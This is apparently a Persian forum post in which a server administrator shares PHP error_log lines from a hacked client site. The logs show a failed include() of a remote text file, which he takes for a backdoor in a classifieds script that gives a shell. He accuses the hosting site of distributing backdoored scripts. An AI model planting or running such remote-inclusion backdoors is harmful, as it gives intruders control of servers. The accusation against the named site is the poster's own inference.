تقلب ، د ز د ی تا کی ؟؟--> P30vel.ir

[Masoud.B]

یکی از سایت های مشتریان ما هک شد و ازونجایی که امنیت سرورم واسه من خیلی مهمه دنبال دلیل یا باگ احتمالی بودم که با مشاهده فایل error_log و آدرس سایتی که ادعای نیت خیر داره رو دیدم ! :
Failed opening 'http://www.p30vel.ir/hmbc.txt?'

ایشون داخل اسکریپت مورد نطر که یک اسکریپت نیازمندیها یا درج آگهی هست فایل بکدور گداشتن و از سرور شل میگیرن
متن error_log :

[24-

Feb-2011 07:10:50] PHP Warning:  include()  [<a href='function.include'>function.include</a>]: URL  file-access is disabled in the server configuration in  /home/rxxxb/public_html/lxxxxy.ir/ajax/send_for_friend.php on line 53
[24-Feb-2011 07:10:50] PHP Warning:   include(http://www.p30vel.ir/hmbc.txt?) [<a  href='function.include'>function.include</a>]: 
failed to open  stream: no suitable wrapper could be found in  /home/rxxxxb/public_html/lxxxxy.ir/ajax/send_for_friend.php on line 53
[24-Feb-2011 07:10:50] PHP Warning:  include() [<a  href='function.include'>function.include</a>]: Failed opening  'http://www.p30vel.ir/hmbc.txt?' 
for inclusion  (include_path='.:/usr/lib/php:/usr/local/lib/php') in  /home/rxxxxb/public_html/lxxxxy.ir/ajax/send_for_friend.php on line 53

جالبه همکاران عزیز هم تو سایت این آدم تبلیغات میدن و ازشون حمایت می کنند! به این فکر نمی کنند که امکان داره یکی از همین اسکریپت ها روی سرور خودشون نصب بشه....

موفق باشید